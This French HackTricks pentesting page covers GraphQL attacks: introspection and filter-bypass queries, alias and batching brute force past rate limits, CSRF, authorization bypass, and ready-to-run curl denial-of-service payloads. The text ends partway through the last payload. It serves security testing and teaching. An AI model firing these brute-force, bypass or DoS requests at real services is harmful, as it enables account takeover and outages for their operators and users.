GraphQL
Reading time: 30 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Introduction
GraphQL est soulignĂ© comme une alternative efficace Ă l'API REST, offrant une approche simplifiĂ©e pour interroger des donnĂ©es depuis le backend. Contrairement Ă REST, qui nĂ©cessite souvent de nombreuses requĂȘtes Ă travers divers points de terminaison pour rassembler des donnĂ©es, GraphQL permet de rĂ©cupĂ©rer toutes les informations nĂ©cessaires via une unique requĂȘte. Cette rationalisation bĂ©nĂ©ficie considĂ©rablement aux dĂ©veloppeurs en rĂ©duisant la complexitĂ© de leurs processus de rĂ©cupĂ©ration de donnĂ©es.
GraphQL et Sécurité
Avec l'avĂšnement de nouvelles technologies, y compris GraphQL, de nouvelles vulnĂ©rabilitĂ©s de sĂ©curitĂ© Ă©mergent Ă©galement. Un point clĂ© Ă noter est que GraphQL n'inclut pas de mĂ©canismes d'authentification par dĂ©faut. Il incombe aux dĂ©veloppeurs de mettre en Ćuvre de telles mesures de sĂ©curitĂ©. Sans une authentification appropriĂ©e, les points de terminaison GraphQL peuvent exposer des informations sensibles Ă des utilisateurs non authentifiĂ©s, posant un risque de sĂ©curitĂ© significatif.
Attaques par Brute Force de RĂ©pertoire et GraphQL
Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques par brute force de répertoire. Ces chemins sont :
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Identifier les instances GraphQL ouvertes permet d'examiner les requĂȘtes prises en charge. Cela est crucial pour comprendre les donnĂ©es accessibles via le point de terminaison. Le systĂšme d'introspection de GraphQL facilite cela en dĂ©taillant les requĂȘtes qu'un schĂ©ma prend en charge. Pour plus d'informations Ă ce sujet, consultez la documentation GraphQL sur l'introspection : GraphQL : Un langage de requĂȘte pour les APIs.
Empreinte
L'outil graphw00f est capable de détecter quel moteur GraphQL est utilisé sur un serveur et imprime ensuite des informations utiles pour l'auditeur de sécurité.
RequĂȘtes Universelles
Pour vĂ©rifier si une URL est un service GraphQL, une requĂȘte universelle, query{__typename}
, peut ĂȘtre envoyĂ©e. Si la rĂ©ponse inclut {"data": {"__typename": "Query"}}
, cela confirme que l'URL héberge un point de terminaison GraphQL. Cette méthode repose sur le champ __typename
de GraphQL, qui révÚle le type de l'objet interrogé.
query{__typename}
ĂnumĂ©ration de base
Graphql prend généralement en charge GET, POST (x-www-form-urlencoded) et POST(json). Bien qu'il soit recommandé pour des raisons de sécurité de n'autoriser que json pour prévenir les attaques CSRF.
Introspection
Pour utiliser l'introspection afin de découvrir des informations sur le schéma, interrogez le champ __schema
. Ce champ est disponible sur le type racine de toutes les requĂȘtes.
query={__schema{types{name,fields{name}}}}
Avec cette requĂȘte, vous trouverez le nom de tous les types utilisĂ©s :
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Avec cette requĂȘte, vous pouvez extraire tous les types, leurs champs et leurs arguments (et le type des arguments). Cela sera trĂšs utile pour savoir comment interroger la base de donnĂ©es.
Erreurs
Il est intĂ©ressant de savoir si les erreurs vont ĂȘtre affichĂ©es car elles contribueront avec des informations utiles.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
ĂnumĂ©rer le schĂ©ma de la base de donnĂ©es via l'introspection
note
Si l'introspection est activĂ©e mais que la requĂȘte ci-dessus ne s'exĂ©cute pas, essayez de supprimer les directives onOperation
, onFragment
et onField
de la structure de la requĂȘte.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
RequĂȘte d'introspection en ligne :
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
La derniĂšre ligne de code est une requĂȘte graphql qui va extraire toutes les mĂ©ta-informations du graphql (noms des objets, paramĂštres, types...)
Si l'introspection est activée, vous pouvez utiliser GraphQL Voyager pour voir dans une interface graphique toutes les options.
Interrogation
Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'extraire quelques valeurs.
Dans l'introspection, vous pouvez trouver quel objet vous pouvez interroger directement (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "queryType" s'appelle "Query" et qu'un des champs de l'objet "Query" est "flags", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag.
Notez que le type de la requĂȘte "flags" est "Flags", et cet objet est dĂ©fini comme ci-dessous :
Vous pouvez voir que les objets "Flags" sont composĂ©s de name et value. Ensuite, vous pouvez obtenir tous les noms et valeurs des flags avec la requĂȘte :
query={flags{name, value}}
Notez que si l'objet Ă interroger est un type primitif comme string, comme dans l'exemple suivant
Vous pouvez simplement l'interroger avec :
query = { hiddenFlags }
Dans un autre exemple oĂč il y avait 2 objets Ă l'intĂ©rieur de l'objet de type "Query": "user" et "users".
Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez récupérer toutes les informations les concernant juste en demandant les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :
Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette erreur :
On dirait que d'une maniĂšre ou d'une autre, il va rechercher en utilisant l'argument "uid" de type Int.
Quoi qu'il en soit, nous le savions dĂ©jĂ , dans la section Basic Enumeration, une requĂȘte a Ă©tĂ© proposĂ©e qui nous montrait toutes les informations nĂ©cessaires : query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Si vous lisez l'image fournie lorsque j'exĂ©cute cette requĂȘte, vous verrez que "user" avait l'arg "uid" de type Int.
Ainsi, en effectuant un léger uid bruteforce, j'ai découvert qu'avec uid=1 un nom d'utilisateur et un mot de passe ont été récupérés :
query={user(uid:1){user,password}}
Notez que j'ai découvert que je pouvais demander les paramÚtres "user" et "password" parce que si j'essaie de chercher quelque chose qui n'existe pas (query={user(uid:1){noExists}}
), j'obtiens cette erreur :
Et pendant la phase d'énumération, j'ai découvert que l'objet "dbuser" avait comme champs "user" et "password.
Truc de dump de chaĂźne de requĂȘte (merci Ă @BinaryShadow_)
Si vous pouvez rechercher par un type de chaĂźne, comme : query={theusers(description: ""){username,password}}
et que vous cherchez une chaßne vide, cela va dump toutes les données. (Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "theusers" par un champ de chaßne appelé "description").
Recherche
Dans cette configuration, une base de donnĂ©es contient des personnes et des films. Les personnes sont identifiĂ©es par leur email et nom ; les films par leur nom et note. Les personnes peuvent ĂȘtre amies entre elles et avoir Ă©galement des films, indiquant des relations au sein de la base de donnĂ©es.
Vous pouvez chercher des personnes par le nom et obtenir leurs emails :
{
searchPerson(name: "John Doe") {
email
}
}
Vous pouvez chercher des personnes par le nom et obtenir leurs films abonnés :
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Notez comment il est indiqué de récupérer le name
des subscribedMovies
de la personne.
Vous pouvez Ă©galement rechercher plusieurs objets en mĂȘme temps. Dans ce cas, une recherche de 2 films est effectuĂ©e :
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Ou mĂȘme relations de plusieurs objets diffĂ©rents en utilisant des alias :
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Les mutations sont utilisées pour apporter des modifications cÎté serveur.
Dans l'introspection, vous pouvez trouver les mutations déclarées. Dans l'image suivante, le "MutationType" est appelé "Mutation" et l'objet "Mutation" contient les noms des mutations (comme "addPerson" dans ce cas) :
Dans cette configuration, une base de donnĂ©es contient des personnes et des films. Les personnes sont identifiĂ©es par leur email et nom ; les films par leur nom et note. Les personnes peuvent ĂȘtre amies entre elles et avoir Ă©galement des films, indiquant des relations au sein de la base de donnĂ©es.
Une mutation pour créer de nouveaux films dans la base de données peut ressembler à la suivante (dans cet exemple, la mutation est appelée addMovie
) :
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Notez comment Ă la fois les valeurs et le type de donnĂ©es sont indiquĂ©s dans la requĂȘte.
De plus, la base de données prend en charge une opération de mutation, nommée addPerson
, qui permet la création de personnes ainsi que leurs associations avec des amis et des films existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Surcharge de directive
Comme expliquĂ© dans l'une des vulnĂ©rabilitĂ©s dĂ©crites dans ce rapport, une surcharge de directive implique d'appeler une directive mĂȘme des millions de fois pour faire perdre des opĂ©rations au serveur jusqu'Ă ce qu'il soit possible de le DoS.
Batching brute-force dans 1 requĂȘte API
Cette information a été tirée de https://lab.wallarm.com/graphql-batching-attack/.
Authentification via l'API GraphQL avec l'envoi simultanĂ© de nombreuses requĂȘtes avec diffĂ©rentes identifiants pour le vĂ©rifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requĂȘte HTTP grĂące Ă la fonctionnalitĂ© de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.
Vous pouvez trouver ci-dessous la dĂ©monstration la plus simple d'une requĂȘte d'authentification d'application, avec 3 paires email/mot de passe diffĂ©rentes Ă la fois. Ăvidemment, il est possible d'en envoyer des milliers dans une seule requĂȘte de la mĂȘme maniĂšre :
Comme nous pouvons le voir sur la capture d'Ă©cran de la rĂ©ponse, les premiĂšre et troisiĂšme requĂȘtes ont renvoyĂ© null et ont reflĂ©tĂ© les informations correspondantes dans la section error. La deuxiĂšme mutation avait les donnĂ©es d'authentification correctes et la rĂ©ponse contient le bon jeton de session d'authentification.
GraphQL Sans Introspection
De plus en plus de points de terminaison graphql dĂ©sactivent l'introspection. Cependant, les erreurs que graphql renvoie lorsqu'une requĂȘte inattendue est reçue sont suffisantes pour que des outils comme clairvoyance puissent recrĂ©er la plupart du schĂ©ma.
De plus, l'extension Burp Suite GraphQuail observe les requĂȘtes API GraphQL passant par Burp et construit un schĂ©ma GraphQL interne avec chaque nouvelle requĂȘte qu'il voit. Elle peut Ă©galement exposer le schĂ©ma pour GraphiQL et Voyager. L'extension renvoie une rĂ©ponse factice lorsqu'elle reçoit une requĂȘte d'introspection. En consĂ©quence, GraphQuail montre toutes les requĂȘtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos vĂ©rifiez ceci.
Une belle liste de mots pour dĂ©couvrir les entitĂ©s GraphQL peut ĂȘtre trouvĂ©e ici.
Contournement des défenses d'introspection GraphQL
Pour contourner les restrictions sur les requĂȘtes d'introspection dans les API, l'insertion d'un caractĂšre spĂ©cial aprĂšs le mot-clĂ© __schema
s'avÚre efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé __schema
. En ajoutant des caractĂšres comme espaces, nouvelles lignes et virgules, que GraphQL ignore mais qui pourraient ne pas ĂȘtre pris en compte dans le regex, les restrictions peuvent ĂȘtre contournĂ©es. Par exemple, une requĂȘte d'introspection avec une nouvelle ligne aprĂšs __schema
peut contourner de telles défenses :
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Si cela Ă©choue, envisagez des mĂ©thodes de requĂȘte alternatives, telles que GET requests ou POST avec x-www-form-urlencoded
, car des restrictions peuvent ne s'appliquer qu'aux requĂȘtes POST.
Essayez WebSockets
Comme mentionné dans cette conférence, vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL :
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Découverte des structures GraphQL exposées
Lorsque l'introspection est dĂ©sactivĂ©e, examiner le code source du site Web Ă la recherche de requĂȘtes prĂ©chargĂ©es dans les bibliothĂšques JavaScript est une stratĂ©gie utile. Ces requĂȘtes peuvent ĂȘtre trouvĂ©es en utilisant l'onglet Sources
dans les outils de dĂ©veloppement, fournissant des informations sur le schĂ©ma de l'API et rĂ©vĂ©lant potentiellement des requĂȘtes sensibles exposĂ©es. Les commandes pour rechercher dans les outils de dĂ©veloppement sont :
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF dans GraphQL
Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
CSRF (Cross Site Request Forgery)
Là -bas, vous pourrez trouver plusieurs points de terminaison GraphQL configurés sans jetons CSRF.
Notez que les requĂȘtes GraphQL sont gĂ©nĂ©ralement envoyĂ©es via des requĂȘtes POST utilisant le type de contenu application/json
.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Cependant, la plupart des points de terminaison GraphQL prennent Ă©galement en charge les form-urlencoded
POST requests :
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Par consĂ©quent, comme les requĂȘtes CSRF comme celles prĂ©cĂ©dentes sont envoyĂ©es sans requĂȘtes prĂ©alables, il est possible de faire des modifications dans le GraphQL en abusant d'un CSRF.
Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau samesite
de Chrome est Lax
. Cela signifie que le cookie ne sera envoyĂ© que depuis un site tiers dans les requĂȘtes GET.
Notez qu'il est gĂ©nĂ©ralement possible d'envoyer la requĂȘte query Ă©galement en tant que requĂȘte GET et que le token CSRF pourrait ne pas ĂȘtre validĂ© dans une requĂȘte GET.
De plus, en abusant d'une attaque XS-Search, il pourrait ĂȘtre possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur.
Pour plus d'informations, vérifiez le post original ici.
DĂ©tournement de WebSocket intersite dans GraphQL
Semblable aux vulnérabilités CRSF abusant de GraphQL, il est également possible de réaliser un détournement de WebSocket intersite pour abuser d'une authentification avec GraphQL avec des cookies non protégés et faire en sorte qu'un utilisateur effectue des actions inattendues dans GraphQL.
Pour plus d'informations, consultez :
Autorisation dans GraphQL
De nombreuses fonctions GraphQL définies sur le point de terminaison pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation.
Modifier les variables d'entrĂ©e de la requĂȘte pourrait conduire Ă des dĂ©tails de compte sensibles fuitĂ©s.
La mutation pourrait mĂȘme conduire Ă une prise de contrĂŽle de compte en essayant de modifier d'autres donnĂ©es de compte.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Contournement de l'autorisation dans GraphQL
Chaining queries ensemble peut contourner un systĂšme d'authentification faible.
Dans l'exemple ci-dessous, vous pouvez voir que l'opĂ©ration est "forgotPassword" et qu'elle ne devrait exĂ©cuter que la requĂȘte forgotPassword qui lui est associĂ©e. Cela peut ĂȘtre contournĂ© en ajoutant une requĂȘte Ă la fin, dans ce cas nous ajoutons "register" et une variable utilisateur pour que le systĂšme s'enregistre en tant que nouvel utilisateur.
Contournement des limites de taux en utilisant des alias dans GraphQL
Dans GraphQL, les alias sont une fonctionnalitĂ© puissante qui permet le nommage explicite des propriĂ©tĂ©s lors d'une requĂȘte API. Cette capacitĂ© est particuliĂšrement utile pour rĂ©cupĂ©rer plusieurs instances du mĂȘme type d'objet dans une seule requĂȘte. Les alias peuvent ĂȘtre utilisĂ©s pour surmonter la limitation qui empĂȘche les objets GraphQL d'avoir plusieurs propriĂ©tĂ©s avec le mĂȘme nom.
Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : Aliases.
Bien que le but principal des alias soit de rĂ©duire la nĂ©cessitĂ© de nombreux appels API, un cas d'utilisation non intentionnel a Ă©tĂ© identifiĂ© oĂč les alias peuvent ĂȘtre exploitĂ©s pour exĂ©cuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protĂ©gĂ©s par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le nombre de requĂȘtes HTTP. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opĂ©rations dans chaque requĂȘte. Ătant donnĂ© que les alias permettent l'inclusion de plusieurs requĂȘtes dans une seule requĂȘte HTTP, ils peuvent contourner de telles mesures de limitation de taux.
ConsidĂ©rez l'exemple fourni ci-dessous, qui illustre comment des requĂȘtes aliasĂ©es peuvent ĂȘtre utilisĂ©es pour vĂ©rifier la validitĂ© des codes de rĂ©duction en magasin. Cette mĂ©thode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requĂȘtes en une seule requĂȘte HTTP, permettant potentiellement la vĂ©rification de plusieurs codes de rĂ©duction simultanĂ©ment.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS dans GraphQL
Surcharge d'Aliases
Surcharge d'Aliases est une vulnĂ©rabilitĂ© GraphQL oĂč les attaquants surchargent une requĂȘte avec de nombreux alias pour le mĂȘme champ, ce qui amĂšne le rĂ©solveur backend Ă exĂ©cuter ce champ de maniĂšre rĂ©pĂ©tĂ©e. Cela peut submerger les ressources du serveur, entraĂźnant un Denial of Service (DoS). Par exemple, dans la requĂȘte ci-dessous, le mĂȘme champ (expensiveField
) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Pour attĂ©nuer cela, mettez en Ćuvre des limites de compte d'alias, une analyse de la complexitĂ© des requĂȘtes ou une limitation de dĂ©bit pour prĂ©venir l'abus de ressources.
Batching de RequĂȘtes BasĂ© sur des Tableaux
Le Batching de RequĂȘtes BasĂ© sur des Tableaux est une vulnĂ©rabilitĂ© oĂč une API GraphQL permet de regrouper plusieurs requĂȘtes dans une seule demande, permettant Ă un attaquant d'envoyer un grand nombre de requĂȘtes simultanĂ©ment. Cela peut submerger le backend en exĂ©cutant toutes les requĂȘtes groupĂ©es en parallĂšle, consommant des ressources excessives (CPU, mĂ©moire, connexions Ă la base de donnĂ©es) et pouvant potentiellement conduire Ă un Denial of Service (DoS). S'il n'existe aucune limite sur le nombre de requĂȘtes dans un lot, un attaquant peut exploiter cela pour dĂ©grader la disponibilitĂ© du service.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
Dans cet exemple, 10 requĂȘtes diffĂ©rentes sont regroupĂ©es en une seule demande, forçant le serveur Ă les exĂ©cuter toutes simultanĂ©ment. Si exploitĂ© avec une taille de lot plus grande ou des requĂȘtes coĂ»teuses en calcul, cela peut surcharger le serveur.
Vulnérabilité de Surcharge de Directive
Surcharge de Directive se produit lorsqu'un serveur GraphQL permet des requĂȘtes avec des directives excessives et dupliquĂ©es. Cela peut submerger le parseur et l'exĂ©cuteur du serveur, surtout si le serveur traite de maniĂšre rĂ©pĂ©tĂ©e la mĂȘme logique de directive. Sans validation ou limites appropriĂ©es, un attaquant peut exploiter cela en crĂ©ant une requĂȘte avec de nombreuses directives dupliquĂ©es pour dĂ©clencher une utilisation Ă©levĂ©e des ressources de calcul ou de mĂ©moire, entraĂźnant une DĂ©ni de Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Notez que dans l'exemple précédent, @aa
est une directive personnalisĂ©e qui pourrait ne pas ĂȘtre dĂ©clarĂ©e. Une directive courante qui existe gĂ©nĂ©ralement est @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Vous pouvez Ă©galement envoyer une requĂȘte d'introspection pour dĂ©couvrir toutes les directives dĂ©clarĂ©es :
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Et ensuite utilisez certains des personnalisés.
Vulnérabilité de Duplication de Champ
Duplication de Champ est une vulnĂ©rabilitĂ© oĂč un serveur GraphQL permet des requĂȘtes avec le mĂȘme champ rĂ©pĂ©tĂ© de maniĂšre excessive. Cela oblige le serveur Ă rĂ©soudre le champ de maniĂšre redondante pour chaque instance, consommant des ressources significatives (CPU, mĂ©moire et appels de base de donnĂ©es). Un attaquant peut crĂ©er des requĂȘtes avec des centaines ou des milliers de champs rĂ©pĂ©tĂ©s, provoquant une charge Ă©levĂ©e et pouvant potentiellement conduire Ă un Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 